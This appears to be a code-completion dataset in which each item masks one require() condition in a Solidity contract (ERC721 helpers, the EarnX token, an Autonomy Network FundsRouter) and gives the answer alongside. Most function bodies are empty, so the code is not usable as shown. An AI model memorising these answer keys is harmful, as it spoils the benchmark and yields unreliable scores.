* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
| ERC721PackedStruct.ownerOf(tokenId)==from,"ERC721: transfer from incorrect owner" | 84,638 | ERC721PackedStruct.ownerOf(tokenId)==from |
"Sender blacklisted" | /**
Website: https://earnx.tech
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
mapping (address => bool) internal authorizations;
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Earn is Ownable, ERC20 {
using SafeMath for uint256;
address WETH;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "EarnX";
string constant _symbol = "EARN";
uint8 constant _decimals = 18;
event AutoLiquify(uint256 amountETH, uint256 amountTokens);
event EditTax(uint8 Buy, uint8 Sell, uint8 Transfer);
event ClearToken(address TokenAddressCleared, uint256 Amount);
event set_Receivers(address autoLiquidityReceiver, address teamFee, address buyKeysFee);
event set_MaxWallet(uint256 maxWallet);
event set_SwapBack(uint256 Amount, bool Enabled);
uint256 _totalSupply = 100000000000 * 10**_decimals; // 100B
uint256 public _maxTxAmount = _totalSupply.mul(10).div(100);
uint256 public _maxWalletToken = _totalSupply.mul(10).div(100);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isnotabot;
mapping (address => bool) isexemptfromfees;
mapping (address => bool) isexemptfrommaxTX;
mapping(address => bool) public blacklisted;
uint256 private liquidityFee = 0;
uint256 private teamFee = 400; // 2%
uint256 private buyKeysFee = 600; // 3%
uint256 public totalFee = liquidityFee + teamFee + buyKeysFee;
uint256 private feeDenominator = 1000;
// no bots tax
uint256 public sellpercent = 490;
uint256 public buypercent = 490;
uint256 public transferpercent = 0;
uint256 public whitelistPercent = 0;
address private teamFeeReceiver;
address private buyKeysFeeReceiver;
address private autoLiquidityReceiver;
uint256 setRatio = 30;
uint256 setRatioDenominator = 100;
IDEXRouter public router;
InterfaceLP private pairContract;
address public pair;
bool public TradingOpen = false;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000;
bool inSwap;
modifier swapping() { }
constructor () {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function maxWalletRule(uint256 maxWallPercent) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(<FILL_ME>)
require(!blacklisted[recipient], "Receiver blacklisted");
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(TradingOpen,"Trading not open yet");
}
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != buyKeysFeeReceiver && recipient != teamFeeReceiver && !isexemptfrommaxTX[recipient]) {
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");
}
checkTxLimit(sender, amount);
if(shouldSwapBack()) {
swapBack();
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = (isexemptfromfees[sender] || isexemptfromfees[recipient]) ? amount : takeFee(sender, amount, recipient);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, uint256 amount) internal view {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function manualSend() external {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setStructure(uint256 _percentonbuy, uint256 _percentonsell, uint256 _wallettransfer) external onlyOwner {
}
function startTrading() public onlyOwner {
}
function reduceFee() public onlyOwner {
}
function swapBack() internal swapping {
}
function set_fees() internal {
}
function setParameters(uint256 _liquidityFee, uint256 _teamFee, uint256 _buyKeysFee, uint256 _feeDenominator) external onlyOwner {
}
function setWallets(address _autoLiquidityReceiver, address _teamFeeReceiver, address _buyKeysFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
}
function markNotBot(address[] calldata accounts, bool excluded) public onlyOwner {
}
function setExemptFees(address[] calldata accounts, bool excluded) external onlyOwner {
}
function setExemptTx(address[] calldata accounts, bool excluded) external onlyOwner {
}
function setWhitelistBuyPercent(uint256 _percent) public onlyOwner {
}
function blacklist(address[] calldata accounts, bool excluded) public onlyOwner {
}
function checkRatio(uint256 ratio, uint256 accuracy) public view returns (bool) {
}
function showBacking(uint256 accuracy) public view returns (uint256) {
}
function showSupply() public view returns (uint256) {
}
}
| !blacklisted[sender],"Sender blacklisted" | 84,648 | !blacklisted[sender] |
"Receiver blacklisted" | /**
Website: https://earnx.tech
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
mapping (address => bool) internal authorizations;
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Earn is Ownable, ERC20 {
using SafeMath for uint256;
address WETH;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "EarnX";
string constant _symbol = "EARN";
uint8 constant _decimals = 18;
event AutoLiquify(uint256 amountETH, uint256 amountTokens);
event EditTax(uint8 Buy, uint8 Sell, uint8 Transfer);
event ClearToken(address TokenAddressCleared, uint256 Amount);
event set_Receivers(address autoLiquidityReceiver, address teamFee, address buyKeysFee);
event set_MaxWallet(uint256 maxWallet);
event set_SwapBack(uint256 Amount, bool Enabled);
uint256 _totalSupply = 100000000000 * 10**_decimals; // 100B
uint256 public _maxTxAmount = _totalSupply.mul(10).div(100);
uint256 public _maxWalletToken = _totalSupply.mul(10).div(100);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isnotabot;
mapping (address => bool) isexemptfromfees;
mapping (address => bool) isexemptfrommaxTX;
mapping(address => bool) public blacklisted;
uint256 private liquidityFee = 0;
uint256 private teamFee = 400; // 2%
uint256 private buyKeysFee = 600; // 3%
uint256 public totalFee = liquidityFee + teamFee + buyKeysFee;
uint256 private feeDenominator = 1000;
// no bots tax
uint256 public sellpercent = 490;
uint256 public buypercent = 490;
uint256 public transferpercent = 0;
uint256 public whitelistPercent = 0;
address private teamFeeReceiver;
address private buyKeysFeeReceiver;
address private autoLiquidityReceiver;
uint256 setRatio = 30;
uint256 setRatioDenominator = 100;
IDEXRouter public router;
InterfaceLP private pairContract;
address public pair;
bool public TradingOpen = false;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000;
bool inSwap;
modifier swapping() { }
constructor () {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function maxWalletRule(uint256 maxWallPercent) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(!blacklisted[sender], "Sender blacklisted");
require(<FILL_ME>)
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(TradingOpen,"Trading not open yet");
}
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != buyKeysFeeReceiver && recipient != teamFeeReceiver && !isexemptfrommaxTX[recipient]) {
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");
}
checkTxLimit(sender, amount);
if(shouldSwapBack()) {
swapBack();
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = (isexemptfromfees[sender] || isexemptfromfees[recipient]) ? amount : takeFee(sender, amount, recipient);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, uint256 amount) internal view {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function manualSend() external {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setStructure(uint256 _percentonbuy, uint256 _percentonsell, uint256 _wallettransfer) external onlyOwner {
}
function startTrading() public onlyOwner {
}
function reduceFee() public onlyOwner {
}
function swapBack() internal swapping {
}
function set_fees() internal {
}
function setParameters(uint256 _liquidityFee, uint256 _teamFee, uint256 _buyKeysFee, uint256 _feeDenominator) external onlyOwner {
}
function setWallets(address _autoLiquidityReceiver, address _teamFeeReceiver, address _buyKeysFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
}
function markNotBot(address[] calldata accounts, bool excluded) public onlyOwner {
}
function setExemptFees(address[] calldata accounts, bool excluded) external onlyOwner {
}
function setExemptTx(address[] calldata accounts, bool excluded) external onlyOwner {
}
function setWhitelistBuyPercent(uint256 _percent) public onlyOwner {
}
function blacklist(address[] calldata accounts, bool excluded) public onlyOwner {
}
function checkRatio(uint256 ratio, uint256 accuracy) public view returns (bool) {
}
function showBacking(uint256 accuracy) public view returns (uint256) {
}
function showSupply() public view returns (uint256) {
}
}
| !blacklisted[recipient],"Receiver blacklisted" | 84,648 | !blacklisted[recipient] |
"FRouter: calldata not user" | pragma solidity 0.8.6;
import "ReentrancyGuard.sol";
import "Shared.sol";
import "IForwarder.sol";
/**
* @notice This contract serves as both a router for bundling actions
* to be automated, along with conditions under which those actions
* should only be executed under, aswell as a vault for storing ETH
* to pay the execution fees by Autonomy Network as part of
* Autonomy's Automation Station. Users can deposit and withdraw
* funds at any time. This system is designed to be extremely modular
* where users can use an arbitrary number of conditions with an
* arbitrary number of calls in an arbitrary order.
* @author @quantafire (James Key)
*/
contract FundsRouter is ReentrancyGuard, Shared {
event BalanceChanged(address indexed user, uint newBal);
// ETH balances to pay for execution fees
mapping(address => uint) public balances;
// The Autonomy Registry to send the execution fee to
address payable public immutable registry;
// The forwarder used by the Registry to guarantee that calls from it
// have the correct `user` and `feeAmount` arguments
IForwarder public immutable regUserFeeVeriForwarder;
// The forwarder used by this FundsRouter contract to guarantee that
// calls from it have the correct `user` argument, where the recipient
// of the call(s) know that the `user` argument is correct
IForwarder public immutable routerUserVeriForwarder;
struct FcnData {
address target;
bytes callData;
uint ethForCall;
bool verifyUser;
}
constructor(
address payable registry_,
IForwarder regUserFeeVeriForwarder_,
IForwarder routerUserVeriForwarder_
) ReentrancyGuard() {
}
/**
* @notice Deposit ETH to fund the execution of requests by `spender`.
* @param spender The address that should be credited with the funds.
*/
function depositETH(address spender) external payable {
}
/**
* @notice Withdraw ETH from `msg.sender`'s balance to send to `recipient`.
* @param recipient The address to receive the ETH.
* @param amount The amount of ETH to withdraw.
*/
function withdrawETH(address payable recipient, uint amount) external nonReentrant {
}
/**
* @notice Forward an arbitrary number of calls. These could be to
* contracts that just test a condition, such as time or a price,
* or to contracts to execute an action and change the state of
* that contract, such as rebalancing a portfolio, or simply
* sending ETH. This function takes into account any ETH received
* during any of the calls and adds it to `user`'s balance, enabling
* requests to be made without any deposited funds if the receiving
* contract pays some kind of reward for calling it.
* @param user The address of the user who made the request.
* @param feeAmount The amount that Autonomy charges to cover the gas cost of
* executing the request each time, plus a small, deterministic
* incentive fee to the bot. Assumed to be denominated in ETH.
* @param fcnData An array of FcnData structs to be called in series. Each struct
* specifies everything needed to make each call independently:
* - target - the address to be called
* - callData - the calldata that specifies what function in the target
* should be called (if a contract) along with any input parameters.
* - ethForCall - any ETH that should be sent with the call
* - verifyUser - whether or not the 1st argument of `callData` should
* be guaranteed to be `user`. If `true`, then the call is routed
* through `routerUserVeriForwarder` so that `target` knows it can
* trust the 1st input parameter as correct if
* `msg.sender == routerUserVeriForwarder` from `target`'s perspective.
* The user should make sure that that is true when generating `callData`.
* If `verifyUser` is `false`, the call will just be sent directly from this
* `FundsRouter` contract.
*/
function forwardCalls(
address user,
uint feeAmount,
FcnData[] calldata fcnData
) external nonReentrant returns (bool, bytes memory) {
require(msg.sender == address(regUserFeeVeriForwarder), "FRouter: not userFeeForw");
uint userBal = balances[user];
uint routerStartBal = address(this).balance;
uint ethSent = 0;
bool success;
bytes memory returnData;
// Iterate through conditions and make sure they're all met
for (uint i; i < fcnData.length; i++) {
ethSent += fcnData[i].ethForCall;
if (fcnData[i].verifyUser) {
// Ensure that the 1st argument in this call is the user
require(<FILL_ME>)
(success, returnData) = routerUserVeriForwarder.forward{value: fcnData[i].ethForCall}(fcnData[i].target, fcnData[i].callData);
} else {
(success, returnData) = fcnData[i].target.call{value: fcnData[i].ethForCall}(fcnData[i].callData);
}
revertFailedCall(success, returnData);
}
uint routerEndBal = address(this).balance;
// Make sure that funds were siphoned out this contract somehow
require(routerEndBal + ethSent >= routerStartBal, "FRouter: funds missing");
uint ethReceivedDuringForwards = routerEndBal + ethSent - routerStartBal;
// Make sure that the user has enough balance
// Having both these checks is definitely overkill - need to get rid of 1
require(userBal + ethReceivedDuringForwards >= ethSent + feeAmount, "FRouter: not enough funds - fee");
require(userBal + ethReceivedDuringForwards - ethSent - feeAmount == userBal + routerEndBal - routerStartBal - feeAmount, "FRouter: something doesnt add up");
balances[user] = userBal + ethReceivedDuringForwards - ethSent - feeAmount;
registry.transfer(feeAmount);
}
// Receive ETH from called contracts, perhaps if they have a reward for poking them
receive() external payable {}
}
| abi.decode(fcnData[i].callData[4:36],(address))==user,"FRouter: calldata not user" | 84,682 | abi.decode(fcnData[i].callData[4:36],(address))==user |
"FRouter: funds missing" | pragma solidity 0.8.6;
import "ReentrancyGuard.sol";
import "Shared.sol";
import "IForwarder.sol";
/**
* @notice This contract serves as both a router for bundling actions
* to be automated, along with conditions under which those actions
* should only be executed under, aswell as a vault for storing ETH
* to pay the execution fees by Autonomy Network as part of
* Autonomy's Automation Station. Users can deposit and withdraw
* funds at any time. This system is designed to be extremely modular
* where users can use an arbitrary number of conditions with an
* arbitrary number of calls in an arbitrary order.
* @author @quantafire (James Key)
*/
contract FundsRouter is ReentrancyGuard, Shared {
event BalanceChanged(address indexed user, uint newBal);
// ETH balances to pay for execution fees
mapping(address => uint) public balances;
// The Autonomy Registry to send the execution fee to
address payable public immutable registry;
// The forwarder used by the Registry to guarantee that calls from it
// have the correct `user` and `feeAmount` arguments
IForwarder public immutable regUserFeeVeriForwarder;
// The forwarder used by this FundsRouter contract to guarantee that
// calls from it have the correct `user` argument, where the recipient
// of the call(s) know that the `user` argument is correct
IForwarder public immutable routerUserVeriForwarder;
struct FcnData {
address target;
bytes callData;
uint ethForCall;
bool verifyUser;
}
constructor(
address payable registry_,
IForwarder regUserFeeVeriForwarder_,
IForwarder routerUserVeriForwarder_
) ReentrancyGuard() {
}
/**
* @notice Deposit ETH to fund the execution of requests by `spender`.
* @param spender The address that should be credited with the funds.
*/
function depositETH(address spender) external payable {
}
/**
* @notice Withdraw ETH from `msg.sender`'s balance to send to `recipient`.
* @param recipient The address to receive the ETH.
* @param amount The amount of ETH to withdraw.
*/
function withdrawETH(address payable recipient, uint amount) external nonReentrant {
}
/**
* @notice Forward an arbitrary number of calls. These could be to
* contracts that just test a condition, such as time or a price,
* or to contracts to execute an action and change the state of
* that contract, such as rebalancing a portfolio, or simply
* sending ETH. This function takes into account any ETH received
* during any of the calls and adds it to `user`'s balance, enabling
* requests to be made without any deposited funds if the receiving
* contract pays some kind of reward for calling it.
* @param user The address of the user who made the request.
* @param feeAmount The amount that Autonomy charges to cover the gas cost of
* executing the request each time, plus a small, deterministic
* incentive fee to the bot. Assumed to be denominated in ETH.
* @param fcnData An array of FcnData structs to be called in series. Each struct
* specifies everything needed to make each call independently:
* - target - the address to be called
* - callData - the calldata that specifies what function in the target
* should be called (if a contract) along with any input parameters.
* - ethForCall - any ETH that should be sent with the call
* - verifyUser - whether or not the 1st argument of `callData` should
* be guaranteed to be `user`. If `true`, then the call is routed
* through `routerUserVeriForwarder` so that `target` knows it can
* trust the 1st input parameter as correct if
* `msg.sender == routerUserVeriForwarder` from `target`'s perspective.
* The user should make sure that that is true when generating `callData`.
* If `verifyUser` is `false`, the call will just be sent directly from this
* `FundsRouter` contract.
*/
function forwardCalls(
address user,
uint feeAmount,
FcnData[] calldata fcnData
) external nonReentrant returns (bool, bytes memory) {
require(msg.sender == address(regUserFeeVeriForwarder), "FRouter: not userFeeForw");
uint userBal = balances[user];
uint routerStartBal = address(this).balance;
uint ethSent = 0;
bool success;
bytes memory returnData;
// Iterate through conditions and make sure they're all met
for (uint i; i < fcnData.length; i++) {
ethSent += fcnData[i].ethForCall;
if (fcnData[i].verifyUser) {
// Ensure that the 1st argument in this call is the user
require(abi.decode(fcnData[i].callData[4:36], (address)) == user, "FRouter: calldata not user");
(success, returnData) = routerUserVeriForwarder.forward{value: fcnData[i].ethForCall}(fcnData[i].target, fcnData[i].callData);
} else {
(success, returnData) = fcnData[i].target.call{value: fcnData[i].ethForCall}(fcnData[i].callData);
}
revertFailedCall(success, returnData);
}
uint routerEndBal = address(this).balance;
// Make sure that funds were siphoned out this contract somehow
require(<FILL_ME>)
uint ethReceivedDuringForwards = routerEndBal + ethSent - routerStartBal;
// Make sure that the user has enough balance
// Having both these checks is definitely overkill - need to get rid of 1
require(userBal + ethReceivedDuringForwards >= ethSent + feeAmount, "FRouter: not enough funds - fee");
require(userBal + ethReceivedDuringForwards - ethSent - feeAmount == userBal + routerEndBal - routerStartBal - feeAmount, "FRouter: something doesnt add up");
balances[user] = userBal + ethReceivedDuringForwards - ethSent - feeAmount;
registry.transfer(feeAmount);
}
// Receive ETH from called contracts, perhaps if they have a reward for poking them
receive() external payable {}
}
| routerEndBal+ethSent>=routerStartBal,"FRouter: funds missing" | 84,682 | routerEndBal+ethSent>=routerStartBal |
"FRouter: not enough funds - fee" | pragma solidity 0.8.6;
import "ReentrancyGuard.sol";
import "Shared.sol";
import "IForwarder.sol";
/**
* @notice This contract serves as both a router for bundling actions
* to be automated, along with conditions under which those actions
* should only be executed under, aswell as a vault for storing ETH
* to pay the execution fees by Autonomy Network as part of
* Autonomy's Automation Station. Users can deposit and withdraw
* funds at any time. This system is designed to be extremely modular
* where users can use an arbitrary number of conditions with an
* arbitrary number of calls in an arbitrary order.
* @author @quantafire (James Key)
*/
contract FundsRouter is ReentrancyGuard, Shared {
event BalanceChanged(address indexed user, uint newBal);
// ETH balances to pay for execution fees
mapping(address => uint) public balances;
// The Autonomy Registry to send the execution fee to
address payable public immutable registry;
// The forwarder used by the Registry to guarantee that calls from it
// have the correct `user` and `feeAmount` arguments
IForwarder public immutable regUserFeeVeriForwarder;
// The forwarder used by this FundsRouter contract to guarantee that
// calls from it have the correct `user` argument, where the recipient
// of the call(s) know that the `user` argument is correct
IForwarder public immutable routerUserVeriForwarder;
struct FcnData {
address target;
bytes callData;
uint ethForCall;
bool verifyUser;
}
constructor(
address payable registry_,
IForwarder regUserFeeVeriForwarder_,
IForwarder routerUserVeriForwarder_
) ReentrancyGuard() {
}
/**
* @notice Deposit ETH to fund the execution of requests by `spender`.
* @param spender The address that should be credited with the funds.
*/
function depositETH(address spender) external payable {
}
/**
* @notice Withdraw ETH from `msg.sender`'s balance to send to `recipient`.
* @param recipient The address to receive the ETH.
* @param amount The amount of ETH to withdraw.
*/
function withdrawETH(address payable recipient, uint amount) external nonReentrant {
}
/**
* @notice Forward an arbitrary number of calls. These could be to
* contracts that just test a condition, such as time or a price,
* or to contracts to execute an action and change the state of
* that contract, such as rebalancing a portfolio, or simply
* sending ETH. This function takes into account any ETH received
* during any of the calls and adds it to `user`'s balance, enabling
* requests to be made without any deposited funds if the receiving
* contract pays some kind of reward for calling it.
* @param user The address of the user who made the request.
* @param feeAmount The amount that Autonomy charges to cover the gas cost of
* executing the request each time, plus a small, deterministic
* incentive fee to the bot. Assumed to be denominated in ETH.
* @param fcnData An array of FcnData structs to be called in series. Each struct
* specifies everything needed to make each call independently:
* - target - the address to be called
* - callData - the calldata that specifies what function in the target
* should be called (if a contract) along with any input parameters.
* - ethForCall - any ETH that should be sent with the call
* - verifyUser - whether or not the 1st argument of `callData` should
* be guaranteed to be `user`. If `true`, then the call is routed
* through `routerUserVeriForwarder` so that `target` knows it can
* trust the 1st input parameter as correct if
* `msg.sender == routerUserVeriForwarder` from `target`'s perspective.
* The user should make sure that that is true when generating `callData`.
* If `verifyUser` is `false`, the call will just be sent directly from this
* `FundsRouter` contract.
*/
function forwardCalls(
address user,
uint feeAmount,
FcnData[] calldata fcnData
) external nonReentrant returns (bool, bytes memory) {
require(msg.sender == address(regUserFeeVeriForwarder), "FRouter: not userFeeForw");
uint userBal = balances[user];
uint routerStartBal = address(this).balance;
uint ethSent = 0;
bool success;
bytes memory returnData;
// Iterate through conditions and make sure they're all met
for (uint i; i < fcnData.length; i++) {
ethSent += fcnData[i].ethForCall;
if (fcnData[i].verifyUser) {
// Ensure that the 1st argument in this call is the user
require(abi.decode(fcnData[i].callData[4:36], (address)) == user, "FRouter: calldata not user");
(success, returnData) = routerUserVeriForwarder.forward{value: fcnData[i].ethForCall}(fcnData[i].target, fcnData[i].callData);
} else {
(success, returnData) = fcnData[i].target.call{value: fcnData[i].ethForCall}(fcnData[i].callData);
}
revertFailedCall(success, returnData);
}
uint routerEndBal = address(this).balance;
// Make sure that funds were siphoned out this contract somehow
require(routerEndBal + ethSent >= routerStartBal, "FRouter: funds missing");
uint ethReceivedDuringForwards = routerEndBal + ethSent - routerStartBal;
// Make sure that the user has enough balance
// Having both these checks is definitely overkill - need to get rid of 1
require(<FILL_ME>)
require(userBal + ethReceivedDuringForwards - ethSent - feeAmount == userBal + routerEndBal - routerStartBal - feeAmount, "FRouter: something doesnt add up");
balances[user] = userBal + ethReceivedDuringForwards - ethSent - feeAmount;
registry.transfer(feeAmount);
}
// Receive ETH from called contracts, perhaps if they have a reward for poking them
receive() external payable {}
}
| userBal+ethReceivedDuringForwards>=ethSent+feeAmount,"FRouter: not enough funds - fee" | 84,682 | userBal+ethReceivedDuringForwards>=ethSent+feeAmount |
"FRouter: something doesnt add up" | pragma solidity 0.8.6;
import "ReentrancyGuard.sol";
import "Shared.sol";
import "IForwarder.sol";
/**
* @notice This contract serves as both a router for bundling actions
* to be automated, along with conditions under which those actions
* should only be executed under, aswell as a vault for storing ETH
* to pay the execution fees by Autonomy Network as part of
* Autonomy's Automation Station. Users can deposit and withdraw
* funds at any time. This system is designed to be extremely modular
* where users can use an arbitrary number of conditions with an
* arbitrary number of calls in an arbitrary order.
* @author @quantafire (James Key)
*/
contract FundsRouter is ReentrancyGuard, Shared {
event BalanceChanged(address indexed user, uint newBal);
// ETH balances to pay for execution fees
mapping(address => uint) public balances;
// The Autonomy Registry to send the execution fee to
address payable public immutable registry;
// The forwarder used by the Registry to guarantee that calls from it
// have the correct `user` and `feeAmount` arguments
IForwarder public immutable regUserFeeVeriForwarder;
// The forwarder used by this FundsRouter contract to guarantee that
// calls from it have the correct `user` argument, where the recipient
// of the call(s) know that the `user` argument is correct
IForwarder public immutable routerUserVeriForwarder;
struct FcnData {
address target;
bytes callData;
uint ethForCall;
bool verifyUser;
}
